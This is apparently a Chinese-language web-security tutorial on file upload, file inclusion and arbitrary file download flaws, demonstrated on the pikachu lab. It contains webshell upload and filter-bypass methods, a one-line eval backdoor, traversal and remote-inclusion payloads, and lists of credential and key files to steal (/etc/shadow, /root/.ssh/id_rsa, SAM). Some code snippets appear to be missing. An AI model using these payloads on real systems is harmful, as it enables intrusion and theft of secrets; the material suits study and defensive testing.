##文件上传漏洞。
大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护。同时
###文件上传漏洞的危害
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者甚至 可以直接上传一个webshell到服务器上。
##Apache 解析漏洞
在 Apache 1.x 和 Apache 2.x 中存在解析漏洞 , 但他们与 IIS 解析漏洞不同 .
Apache 在解析文件时有一个规则 : 当碰到不认识的扩展名时 , 将会从后向前解析 , 直到 碰到认识的扩展名位置 , 如果都不认识 , 则会暴露其源码 . 比如 :
1.php.rar.xx.aa
Apache 首先会解析 aa 扩展名 , 如果不认识则接着解析 xx 扩展名 , 这样一直遍历到认识 的扩展名为止 , 然后再将其进行解析 .
.##PHP CGI 解析漏洞
在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是
默认开启的 , 在开启时访问 url, 比如 :http://www.xxx.com/x.txt/x.php,x.php 是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .
##Nginx <8.03 空字节代码执行漏洞
影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37
Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码
##其它
在 windows 环境下, xx.jpg[ 空格 ] 或 xx.jpg. 这两类文件都是不允许存在的 , 若这样命 名,windows 会默认除去空格或点 , 攻击者可以通过抓包 , 在文件名后加一个空格或者点绕过 黑名单 . 若上传成功 , 空格和点都会被 windows 自动消除 , 这样也可以 getshell.
如果在 Apache 中 .htaccess 可被执行 . 且可被上传 . 那可以尝试在 .htaccess 中写入 :
SetHandlerapplication/x-httpd-php
然后再上传名称为 shell.jpg 的 webshell, 这样 shell.jpg 就可解析为 php 文件
##文件上传漏洞利用方法
1.上传木马得到webshell,得以操控整个网站。整个过程
上传PHP文件里面写入 pass可以修改。
如果能得到上传文件的路径的话,使用菜刀连接。既可以对于网站进行修改。
我使用pikachu演示一下。
由于这个页面在前端进行了限制。我使用burp-suite进行抓包
抓包后后缀改一下。
上传成功。
右键单击空白处,点击添加
填入你上传文件的路径http://127.0.0.1/pikachu-master/vul/unsafeupload/uploads/2.php
后面填pass也就是你上传木马中的那个单词。
添加后单击,如果连接成功你就可以对网站进行星星操作。
对于网站如果通过MIME type进行过滤的话,可以通过上面的方式,也可以上传PHP文件修改
content-type上面的修改为下面的。
详细MIME TYPE请点击MIME type
如果后端对于上传图片使用了getimagesize函数进行过滤
getimagesize()简介
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求。
绕过方法,制作一个图片木马。可以使用一些网上的小工具,或者使用cmd命令·。
对于图片木马我使用了一个叫edjpgcom的工具。进行制作的。cmd制作
对于图片木马来说,并不能直接使用菜刀链接,因为后缀的问题,PHP代码并不能直接运行,可以利用另一个漏洞,文件包含漏洞。
##文件包含漏洞,
先说几个函数:
PHP:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再
次被包含;
evel函数和assert函数
1、eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序: eval($_POST[cmd])?>
2、assert() 与eval类似,字符串被 assert() 当做 PHP 代码来执行;
PHP文件包含漏洞
开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
防范方法,设置白名单。
##文件包含漏洞发生的过程
当开发者在进行文件包含时设置限制过低,或完全在文件包含上没有设置限制。这时候就会出现漏洞。
##用户利用方式
可利用途径:
·上传图片:图片包含getshell
·读文件:读取php文件
·包含日志文件getshell
·包含/proc/self/environ/文件getshell
·有phpinfo可包含临时文件
·包含data://或php://inout等伪协议(需要allow_url_include=On)
用户可以进行目录遍历,获得一些敏感信息。
常见的敏感信息路径
windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MYSQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
##session文件包含
利用条件:session存储位置可以获取
获取方法1:通过phpinfo信息获取session存储位置
获取方法2:猜测默认的session存放位置
Linux下默认存放在/var/lib/php/session目录下
windows默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里
方法:
存在本地文件包含漏洞,可通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell
例如
第二就是文件包含了,当一个网站能够文件上传,但是是基于白名单过滤的,如果此时有文件包含漏洞那么就可以绕过过滤规则拿 shell。
文件包含分为本地包含和远程文件包含。
本地文件包含的前提是allow_url_include=on
远程文件包含前提是allow_url_fopen=on
本地文件包含需要先把文件传上去。例如上面我们传的图片木马。通过文件包含漏洞我们就可以执行一句话木马。
##有限制本地包含绕过
绕过方法1:%00 截断
条件:magic_quotes_gpc = Off PHP 版本<5.3.4
测试:?filename=…/…/…/…/…/…/boot.ini%00
绕过方法2:路径长度截断
条件:windows下目录路径最大长度为256字节,超出部分将丢弃;
Linux下目录最大长度为4096字节,超出长度将丢弃
测试:?filename=text.txt././././. 或?filename=test.txt…
相比于本地文件包含远程文件包含更方便一些危害也更大。通过执行第三方服务器的文件(远程文件包含)我们可以执行PHP木马写入一个一句话木马的文件例如
')?>
这样我们就可以得到webshell。
有限制远程包含绕过
测试代码: 多添加了html后缀,到最后远程包含的文件 一会多一个HTML后缀
问号绕过
测试:?filename=http://192.168.91.133/FI/php.txt?
#号绕过
测试:?filenamr=http://192.168.91.133/FI/php.txt%23
空格绕过
测试:?filename=http://192.168.91.133/FI/php.txt%20
##文件之下载漏洞。
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
###常规思路
当遇到一个任意文件下载时,我们的一般利用思路:
下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器
当我们遇到一个任意文件下载漏洞时首先要注意下载的权限问题。因为权限决定我们能下载的文件范围。
尝试读取/root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用…/来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如果我们遇到的是java+oracle/ jsp+oracle环境,
可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。
如果具有root权限
这时候很多人肯定会说 具有root权限直接去读shadow文件了 但是很多时候我们遇到的服务器可能只对外开放了 80,443两个端口这时候我们即使获得了密码作用也不打,但是具备root权限对任意文件下载利用是绝对的。
在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。
当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。
locate 读取方法
locate mlocate.db admin
可以将mlocate.db中包含admin内容全部输出来
利用这个文件我们可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,
但是这个文件只有root用户才能读取。
另一方面我们也可以利用linux内核的一个文件/proc/self/cmdline当前进程的cmdline参数,可以获取到路径信息。
总体来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。
以下整理了一些下载利用文件。
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
####漏洞验证
index.php?f=…/…/…/…/…/…/etc/passwd
• index.php?f=…/index.php
• index.php?f=file:///etc/passwd
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
若显示源码或提示下载则是文件查看与下载漏洞
参考链接